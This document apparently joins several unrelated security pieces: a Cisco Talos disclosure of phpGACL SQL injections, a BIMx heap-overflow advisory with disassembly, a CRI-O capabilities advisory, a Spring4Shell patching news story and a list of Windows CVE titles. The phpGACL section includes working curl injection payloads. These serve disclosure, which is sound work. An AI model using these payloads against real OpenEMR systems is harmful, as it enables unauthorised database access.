Multiple SQL injection vulnerabilities exist in phpGACL 3.3.7. A specially crafted HTTP request can lead to a SQL injection. An attacker can send an HTTP request to trigger this vulnerability.

**Summary**

Multiple SQL injection vulnerabilities exist in phpGACL 3.3.7. A specially crafted HTTP request can lead to a SQL injection. An attacker can send an HTTP request to trigger this vulnerability.

**Tested Versions**

OpenEMR 5.0.2  
OpenEMR development version 6.0.0 (commit babec93f600ff1394f91ccd512bcad85832eb6ce)  
phpGACL 3.3.7

**Product URLs**

http://phpgacl.sourceforge.net/

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

**Details**

phpGACL is a PHP library that allows developers to implement permission systems via a Generic Access Control List.

The latest version of this library has been found to be used in OpenEMR, as such the tests have been performed against an OpenEMR instance.

Across the whole codebase of phpGACL, SQL queries are built using string concatenation, and parameters are often not sanitized.

The following is an (incomplete) list of code paths that lead to SQL injection, caused by missing sanitization of the input parameters that can be injected by an attacker via GET or POST request. Note that similar vulnerable patterns can be seen in `edit_objects.php`, `edit_object_sections.php` and others.

**CVE-2020-13566 - phpGACL database delete\_group SQL injection**

In `admin/edit_group.php`, when the POST parameter `action` is “Delete”, the POST parameter `delete_group` leads to a SQL injection:

    ...
    switch ($_POST['action']) {
        case 'Delete':
            $gacl_api->debug_text('Delete');
    
            if (count($_POST['delete_group']) > 0) {
                //Always reparent children when deleting a group.
                foreach ($_POST['delete_group'] as $group_id) {
                    $gacl_api->debug_text('Deleting group_id: '. $group_id);
    
                    $result = $gacl_api->del_group($group_id, TRUE, $group_type);     [1]
                    if ($result == FALSE) {
                        $retry[] = $group_id;
                    }
                }
    ...
    

The `delete_group` parameter is sent to the function `del_group` unsanitized:

    function del_group($group_id, $reparent_children=TRUE, $group_type='ARO') {
            switch(strtolower(trim($group_type))) {
                    case 'axo':
                            $group_type = 'axo';
                            $table = $this->_db_table_prefix .'axo_groups';
                            $groups_map_table = $this->_db_table_prefix .'axo_groups_map';
                            $groups_object_map_table = $this->_db_table_prefix .'groups_axo_map';
                            break;
                    default:
                            $group_type = 'aro';
                            $table = $this->_db_table_prefix .'aro_groups';
                            $groups_map_table = $this->_db_table_prefix .'aro_groups_map';
                            $groups_object_map_table = $this->_db_table_prefix .'groups_aro_map';
                            break;
            }
    
            $this->debug_text("del_group(): ID: $group_id Reparent Children: $reparent_children Group Type: $group_type");
    
            if (empty($group_id) ) {
                    $this->debug_text("del_group(): Group ID ($group_id) is empty, this is required");
                    return false;
            }
    
            // Get details of this group
            $query = 'SELECT id, parent_id, name, lft, rgt FROM '. $table .' WHERE id='. $group_id;     [2]
            $group_details = $this->db->GetRow($query);
    

As we can see, the only sanitized argument is `group_type`, while `group_id` (former `delete_group`) is appended to the query unsanitized \[2\].

**Exploit Proof of Concept**

This issue has been reproduced by testing against OpenEMR, which ships the latest version of phpGACL. This can be reproduced with the following command:

    curl -v -H "Cookie: $cookie" -d "action=Delete&delete_group[0]=1234 union select 1,2,3,4,sleep(3)" "http://openemr.dev/gacl/admin/edit_group.php?site=default"
    

**CVE-2020-13567 - phpGACL database parent\_id SQL injection**

Again in `admin/edit_group.php`, when the POST parameter `action` is “Submit”, the POST parameter `parent_id` leads to a SQL injection:

    ...
    case 'Submit':
        $gacl_api->debug_text('Submit');
    
        if (empty($_POST['parent_id'])) {
            $parent_id = 0;
        } else {
            $parent_id = $_POST['parent_id'];                                                                      [1]
        }
    
        //Make sure we're not reparenting to ourself.
        if (!empty($_POST['group_id']) AND $parent_id == $_POST['group_id']) {
            echo "Sorry, can't reparent to self!<br />\n";
            exit;
        }
    
        //No parent, assume a "root" group, generate a new parent id.
        if (empty($_POST['group_id'])) {
            $gacl_api->debug_text('Insert');
    
            $insert_id = $gacl_api->add_group($_POST['value'], $_POST['name'], $parent_id, $group_type);           [2]
        } else {
            $gacl_api->debug_text('Update');
    
            $gacl_api->edit_group($_POST['group_id'], $_POST['value'], $_POST['name'], $parent_id, $group_type);
        }
    ...
    

The parameter `parent_id` is passed to both `add_group` \[2\] and `edit_group` \[3\] unsanitized \[1\].

    function add_group($value, $name, $parent_id=0, $group_type='ARO') {
            switch(strtolower(trim($group_type))) {
                    case 'axo':
                            $group_type = 'axo';
                            $table = $this->_db_table_prefix .'axo_groups';
                            break;
                    default:
                            $group_type = 'aro';
                            $table = $this->_db_table_prefix .'aro_groups';
                            break;
            }
    
            $this->debug_text("add_group(): Name: $name Value: $value Parent ID: $parent_id Group Type: $group_type");
    
            $name = trim($name);
            $value = trim($value);
    
            if ( $name == '' ) {
                    $this->debug_text("add_group(): name ($name) OR parent id ($parent_id) is empty, this is required");
                    return false;
            }
    
            //This has to be outside the transaction, because the first time it is run, it will say the sequence
            //doesn't exist. Then try to create it, but the transaction will already by aborted by then.
            $insert_id = $this->db->GenID($this->_db_table_prefix.$group_type.'_groups_id_seq',10);
            if ( $value === '' ) {
                    $value = $insert_id;
            }
    
            $this->db->BeginTrans();
    
            // special case for root group
            if ($parent_id == 0) {
                ...
            } else {
                     if (empty($parent_id)) {
                             $this->debug_text("add_group (): parent id ($parent_id) is empty, this is required");
                             $this->db->RollbackTrans();
                             return FALSE;
                     }
    
                     // grab parent details from database
                     $query = 'SELECT id, lft, rgt FROM '. $table .' WHERE id='. $parent_id;                     [4]
                     $row = $this->db->GetRow($query);
    

The function `add_group` does not sanitize the `parent_id` at \[4\], which leads to a SQL injection.

    function edit_group($group_id, $value=NULL, $name=NULL, $parent_id=NULL, $group_type='ARO') {
            ...
            $set = array();
    
            // update name if it is specified.
            if (!empty($name)) {
                    $set[] = 'name='. $this->db->quote($name);
            }
    
            // update parent_id if it is specified.
            if (!empty($parent_id)) {
                    $set[] = 'parent_id='. $parent_id;                                     [5]
            }
    
            // update value if it is specified.
            if (!empty($value)) {
                    $set[] = 'value='. $this->db->quote($value);
            }
    
            if (empty($set)) {
                    $this->debug_text('edit_group(): Nothing to update.');
                    return FALSE;
            }
    
            $this->db->BeginTrans();
    
            $query  = 'UPDATE '. $table .' SET '. implode(',', $set) .' WHERE id='. $group_id;   [6]
            $rs = $this->db->Execute($query);
    
            if (!is_object($rs)) {
                    $this->debug_db('edit_group');
                    $this->db->RollbackTrans();
                    return FALSE;
            }
    

The function `edit_group` does not sanitize the `parent_id` at \[5\], which leads to a SQL injection at \[6\].

**Exploit Proof of Concept**

This issue has been reproduced by testing against OpenEMR, which ships the latest version of phpGACL. This can be reproduced with the following command:

    curl -v -H "Cookie: $cookie" -d "action=Submit&parent_id=1234 union select 1,2,sleep(3)&name=1" "http://openemr.dev/gacl/admin/edit_group.php?site=default"
    

**CVE-2020-13568 - phpGACL database group\_id SQL injection**

Again in `admin/edit_group.php`, when the POST parameter `action` is “Submit”, the POST parameter `group_id` leads to a SQL injection:

    ...
    case 'Submit':
        $gacl_api->debug_text('Submit');
    
        if (empty($_POST['parent_id'])) {
            $parent_id = 0;
        } else {
            $parent_id = $_POST['parent_id'];                                                                      [1]
        }
    
        //Make sure we're not reparenting to ourself.
        if (!empty($_POST['group_id']) AND $parent_id == $_POST['group_id']) {
            echo "Sorry, can't reparent to self!<br />\n";
            exit;
        }
    
        //No parent, assume a "root" group, generate a new parent id.
        if (empty($_POST['group_id'])) {
            $gacl_api->debug_text('Insert');
    
            $insert_id = $gacl_api->add_group($_POST['value'], $_POST['name'], $parent_id, $group_type);           [2]
        } else {
            $gacl_api->debug_text('Update');
    
            $gacl_api->edit_group($_POST['group_id'], $_POST['value'], $_POST['name'], $parent_id, $group_type);   [3]
        }
    ...
    

Like before, `group_id` is passed to `edit_group` \[2\] unsanitized:

    function edit_group($group_id, $value=NULL, $name=NULL, $parent_id=NULL, $group_type='ARO') {
            $this->debug_text("edit_group(): ID: $group_id Name: $name Value: $value Parent ID: $parent_id Group Type: $group_type");
    
            switch(strtolower(trim($group_type))) {
                    case 'axo':
                            $group_type = 'axo';
                            $table = $this->_db_table_prefix .'axo_groups';
                            break;
                    default:
                            $group_type = 'aro';
                            $table = $this->_db_table_prefix .'aro_groups';
                            break;
            }
    
            if (empty($group_id) ) {
                    $this->debug_text('edit_group(): Group ID ('. $group_id .') is empty, this is required');
                    return FALSE;
            }
    
            if ( !is_array($curr = $this->get_group_data($group_id, $group_type)) ) {      [4]
                    $this->debug_text('edit_group(): Invalid Group ID: '. $group_id);
                    return FALSE;
            }
            ...
    

The function `edit_group` calls `get_group_data` at \[4\], using the unsanitized `group_id`:

    function get_group_data($group_id, $group_type = 'ARO') {
    
            $this->debug_text("get_group_data(): Group_ID: $group_id Group Type: $group_type");
    
            switch(strtolower(trim($group_type))) {
                    case 'axo':
                            $group_type = 'axo';
                            $table = $this->_db_table_prefix .'axo_groups';
                            break;
                    default:
                            $group_type = 'aro';
                            $table = $this->_db_table_prefix .'aro_groups';
                            break;
            }
    
            if (empty($group_id) ) {
                    $this->debug_text("get_group_data(): ID ($group_id) is empty, this is required");
                    return false;
            }
    
            $query  = 'SELECT id, parent_id, value, name, lft, rgt FROM '. $table .' WHERE id='. $group_id;  [5]
            //$rs = $this->db->Execute($query);
            $row = $this->db->GetRow($query);
    
            if ($row) {
                    return $row;
            }
    
            $this->debug_text("get_object_data(): Group does not exist.");
            return false;
    }
    

We can see at \[5\] that `group_id` is concatenated to the `query`, leading to a SQL injection.

**Exploit Proof of Concept**

This issue has been reproduced by testing against OpenEMR, which ships the latest version of phpGACL. This can be reproduced with the following command:

    curl -v -H "Cookie: $cookie" -d "action=Submit&parent_id=1234&group_id=1234 union select 1,2,3,4,5,sleep(3)" "http://openemr.dev/gacl/admin/edit_group.php?site=default"
    

**Timeline**

2020-10-23 - Vendor Disclosure  
2021-01-05 - Vendor Patched  
2021-01-27 - Public Release

Discovered by Claudio Bozzato of Cisco Talos.

CVE-2020-13567: TALOS-2020-1179 || Cisco Talos Intelligence Group

An exploitable code execution vulnerability exists in the file format parsing functionality of Graphisoft BIMx Desktop Viewer 2019.2.2328. A specially crafted file can cause a heap buffer overflow resulting in a code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

An exploitable code execution vulnerability exists in the file format parsing functionality of Graphisoft BIMx Desktop Viewer 2019.2.2328. A specially crafted file can cause a heap buffer overflow resulting in a code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Graphisoft BIMx Desktop Viewer 2019.2.2328

**Product URLs**

https://www.graphisoft.com/downloads/bimx/bimx\_desktop.html

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-680 - Integer Overflow to Buffer Overflow

**Details**

BIMx Desktop Viewer allows for models created by Graphisoft ArchiCad to be shared and viewed by anyone. With Desktop Viewer, clients can view their prospective models without the need of having to install the entire suite of tools needed to create the model itself.

The modules used in this vulnerability are below:

    00007ff77c5f0000 00007ff77c818000   BIMx       (deferred)
        Image path: BIMx.exe
        Image name: BIMx.exe
        Timestamp:        Wed Jun  5 08:09:29 2019 (5CF7BF09)
        CheckSum:         00000000
        ImageSize:        00228000
        File version:     2019.2.2328.0
        Product version:  2019.2.2328.0
    

The BIMx file format is composed of a variety of resource files which are read and written to disk before processed. To begin processing a given resource file, a 520 byte chunk is read from the file.

    bimx+55c20
    .text:0000000000055C20  mov  r9, r14                 ; Input File Stream
    .text:0000000000055C23  mov  edx, 208h               ; Number of elements to read
    .text:0000000000055C28  mov  r8d, 1                  ; Size of each elements
    .text:0000000000055C2E  lea  rcx, [rbp+3F0h+var_470] ; Output buffer
    .text:0000000000055C32  call cs:fread                ; Call fread
    

This file chunk contains the name of the resource along with the number of bytes contained in this resource. This chunk looks like the following struct:

    struct ResourceHeader {
        name: [u8; 512],
        offset_to_struct: u32,
        length_of_data: u32,
    }
    

The application then allocates enough memory to fill with the resource bytes. Along with the resource bytes, themselves, the allocation can also contain an attribute or note of what the allocation is for.

    bimx+78572
    .text:0000000000078572  inc     rbx                    ; Increment note pointer
    .text:0000000000078575  cmp     byte ptr [rdx+rbx], 0  ; Check if we found the end of the note
    .text:0000000000078579  jnz     short loc_78572        ; Continue incrementing
    

The application then calculates the length of the note and then adds that to the found number of bytes for this resource for the final allocation.

    bimx+78589
    .text:0000000000078589  lea     eax, [rbx+6]
    .text:000000000007858C  cdq
    .text:000000000007858D  and     edx, 0Fh
    .text:0000000000078590  lea     edi, [rdx+rax]
    .text:0000000000078593  sar     edi, 4
    .text:0000000000078596  inc     edi
    .text:0000000000078598  shl     edi, 4
    .text:000000000007859B  lea     ecx, [rdi+r15]  ; Final add of resource bytes and note length
    .text:000000000007859F  movsxd  rcx, ecx        
    .text:00000000000785A2  call    cs:__imp_malloc
    

Assuming there is no problem with the allocation, the entire allocation is set to 0 and then filled with the resource bytes.

    bimx+785b0
    .text:00000000000785B0                 movsxd  rdi, edi        ;
    .text:00000000000785B3                 mov     edx, 0AAh       ; Memset the note bytes to 0xaa
    .text:00000000000785B8                 mov     r8, rdi         ; Allocation note size
    .text:00000000000785BB                 mov     [rsp+38h+arg_0], rbp
    .text:00000000000785C0                 mov     rcx, r14        ; void *
    .text:00000000000785C3                 call    memset
    .text:00000000000785C8                 lea     rbp, [rdi+r14]  ; Address after the allocation note
    .text:00000000000785CC                 mov     r8, r15         ; Number of resource bytes
    .text:00000000000785CF                 mov     rcx, rbp          
    .text:00000000000785D2                 xor     edx, edx        ; Fill with 0
    .text:00000000000785D4                 call    memset
    .text:00000000000785D9                 movzx   edi, bl
    .text:00000000000785DC                 mov     rdx, rsi        ; Allocation note
    .text:00000000000785DF                 mov     r8d, edi        ; Allocation note length
    .text:00000000000785E2                 mov     rcx, r14        ; New allocation
    .text:00000000000785E5                 call    memcpy
    

It is possible for an attacker to overflow the malloc allocation size after adding the resource length. This will result in an allocation that is smaller than requested. Since the allocation is smaller than expected, the memset and the memcpy cause an out of bounds write on a heap buffer, potentially resulting in a code execution.

**Crash Information**

(1bd9c.1bda4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. \*\*\* WARNING: Unable to verify checksum for BIMx.exe VCRUNTIME140!memset\_repmovs+0x9: 00007ffb\`d8f91689 f3aa rep stos byte ptr \[rdi\]

**Timeline**

2020-03-26 - Initial contact  
2020-03-31 - Vendor disclosure  
2020-06-30 - 90 day notice  
2020-07-03 - Vendor advised reports filtered as spam  
2020-07-07 - Issued copy of reports & vendor confirmed  
2020-07-28 - Vendor advised new version will address issue mid September  
2020-09-15 - Follow up with vendor; no response  
2020-11-06 - Public Release

Discovered by Cory Duplantis of Cisco Talos.

CVE-2020-6099: TALOS-2020-1032 || Cisco Talos Intelligence Group

A flaw was found in cri-o, where containers were incorrectly started with non-empty default permissions. A vulnerability was found in Moby (Docker Engine) where containers started incorrectly with non-empty inheritable Linux process capabilities. This flaw allows an attacker with access to programs with inheritable file capabilities to elevate those capabilities to the permitted set when execve(2) runs.

**Impact**

A bug was found in CRI-O where containers were incorrectly started with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling programs with inheritable file capabilities to elevate those capabilities to the permitted set during `execve(2)`. Normally, when executable programs have specified permitted file capabilities, otherwise unprivileged users and processes can execute those programs and gain the specified file capabilities up to the bounding set. Due to this bug, containers which included executable programs with inheritable file capabilities allowed otherwise unprivileged users and processes to additionally gain these inheritable file capabilities up to the container's bounding set. Containers which use Linux users and groups to perform privilege separation inside the container are most directly impacted.

This bug did not affect the container security sandbox as the inheritable set never contained more capabilities than were included in the container's bounding set.

**Patches**

This bug will been fixed in the following versions of CRI-O:

*   v1.24.0

Users should update to the version corresponding to their minor release as soon as possible. Running containers should be stopped, deleted, and recreated for the inheritable capabilities to be reset.

This fix changes CRI-O behavior such that containers are started with a more typical Linux environment. Refer to `capabilities(7)` for a description of how capabilities work. Note that permitted file capabilities continue to allow for privileges to be raised up to the container's bounding set and that processes may add capabilities to their own inheritable set up to the container's bounding set per the rules described in the manual page. In all cases the container's bounding set provides an upper bound on the capabilities that can be assumed and provides for the container security sandbox.

**Workarounds**

The entrypoint of a container can be modified to use a utility like `capsh(1)` to drop inheritable capabilities prior to the primary process starting.

**Credits**

CRI-O would like to thank Andrew G. Morgan for responsibly disclosing this issue, as well as the Moby (Docker Engine) project for working with the other container engines in coordinating a fix.

**For more information**

If you have any questions or comments about this advisory:

*   Open an issue
*   Email us at cncf-crio-security@lists.cncf.io if you think you’ve found a security bug

https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L  
4.8/Medium

Metric

Value

Comments

Attack Vector (AV)

Local

An attacker requires local control to launch a container with files that have inheritable capabilities.

Attack Complexity (AC)

Low

Modifying a file to have inheritable capabilities is not difficult.

Privileges Required (PR)

Low

An attacker requires enough privilege to cause a container to be launched with a compromised image. Moby's API is typically bound to a local Unix domain socket and requires calls to be made from a process that is either UID 0 or present in the configured group.

User Interaction (UI)

Required

An attacker must cause the compromised image to be run.

Scope (S)

Unchanged

The container boundary set by Moby, including the bounding capability set, is not modified. A successful attack gains access to privileges and resources within the boundary, not outside of it.

Confidentiality (C)

Low

An attacker may gain access to some confidential information through elevation of CAP\_CHOWN, CAP\_DAC\_OVERRIDE, CAP\_FOWNER, CAP\_SETFCAP, or CAP\_SETPCAP, but the exposed information is limited to that which is already inside the container.

Integrity (I)

Low

An attacker may be able to tamper with data inside the container through elevation of CAP\_CHOWN, CAP\_DAC\_OVERRIDE, CAP\_FOWNER, CAP\_SETFCAP, or CAP\_SETPCAP, or spoof packets with CAP\_NET\_RAW, but the tampered data is limited to that which is already inside the container.

Availability (A)

Low

An attacker may be able to affect the availability of an application running inside the container through elevation of CAP\_KILL or CAP\_NET\_RAW, or may be able to affect availability through tampering with file dependencies.

CVE-2022-27652: Build software better, together

Upgrading and fixing the vulnerability in the Spring Framework doesn't seem to have the same level of urgency or energy as patching the Log4j library did back in December.

The maintainers of the popular Spring framework patched the critical remote code execution flaw (CVE-2022-22965) on March 31. Two weeks later, the majority of Spring downloads are still using vulnerable versions with the flaw unpatched, suggesting developers are not in a rush to upgrade.  

As of April 15, 77% of Spring downloads were for vulnerable versions, according to the charts posted by Sonatype on its Exploit Resource Center. That is a small drop from April 4, when 82% of Spring downloads were for vulnerable versions of the framework. There was a quick jump to about 20% of downloads adopting the latest versions, but since then the figure has leveled off. One reason why the vulnerable versions of Spring are still being downloaded may be tied to the fact that many companies do not have a clear understanding of all the dependencies for each business application.

"\[The\] fact that we continue to see these downloads is indicative that organizations haven’t made the decision to upgrade,” says Brian Fox, Sonatype’s CTO.

In the above stacked area chart, the red region represents the vulnerable versions and the green region is the updated version with the fix patched. In this case, the higher the number, the more applications with the vulnerable component being built.

The needle toward the majority of developers using the updated version is moving very slowly.

**Preparing for the Future  
**The vulnerability’s exploitability can change at any time: Someone may develop an attack vector that is repeatable and doesn’t require as many specific conditions to be present or may figure out a way to get around security mitigations. It would be better to get the environment updated now before a newer exploit is developed and the situation becomes more serious.

“\[The\] danger is, when the cone of attention moves on, there will be plenty of unpatched estate that might later become a risk,” notes Iikka Turunen, Sontaype's field CTO. “It's not a  Spring thing, it's a how are we managing our dependencies thing.”

The vulnerability exists in Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older. The issue has been fixed in Spring Framework version 5.3.18 and 5.2.20 and Spring Boot 2.5.12 and 2.6.6.

“This seems to indicate that those who know they need to upgrade — and are able to — tend to do so very quickly,” Fox says. “The rest of the long tail, however, is very long, leaving lots of room for attackers to find new ways to exploit the existing vulnerabilities and to work around the mitigations that may be in place.”

**Not “as Bad” as Log4j  
**Back in December, when the vulnerability in Log4j was disclosed, there was a big push to get people to update as soon as possible. Sonatype says its latest numbers show that 34% of Log4j downloads are still the vulnerable version. The majority of new downloads are for the latest – safe – version.

Despite its severity, the issue in Spring isn’t viewed as being just as urgent because exploitation requires a nonstandard setup (packaged as a traditional WAR file when most modern applications have switched to Spring Boot executable jar files) and exploitation is currently very limited.

“Spring4Shell does give us a unique opportunity to understand what happens in the software industry when ‘Critical’ but not ‘The Internet is on Fire’-level vulnerabilities appear,” Turunen says.

To underscore the rarity, vulnerability scanning and penetration testing services company Intruder scanned over 25,000 client assets since the disclosure of the vulnerability. “We have yet to find a vulnerable application,” writes Benjamin Marr, a security engineer with Intruder.

Security teams should not get complacent or delay the upgrades. “There will inevitably be more ways to exploit through adjacent methods,” Fox says. “The safest thing to do in these scenarios, almost always, is upgrade.”

Upgrades for Spring Framework Have Stalled

Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability

CVE-2022-26919

Windows Fax Compose Form Remote Code Execution Vulnerability

CVE-2022-26918

CVE-2022-26917

CVE-2022-26916

Windows Direct Show - Remote Code Execution Vulnerability.

CVE-2022-24495

Windows Hyper-V Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-22008, CVE-2022-23257, CVE-2022-24537.

Tag

#rce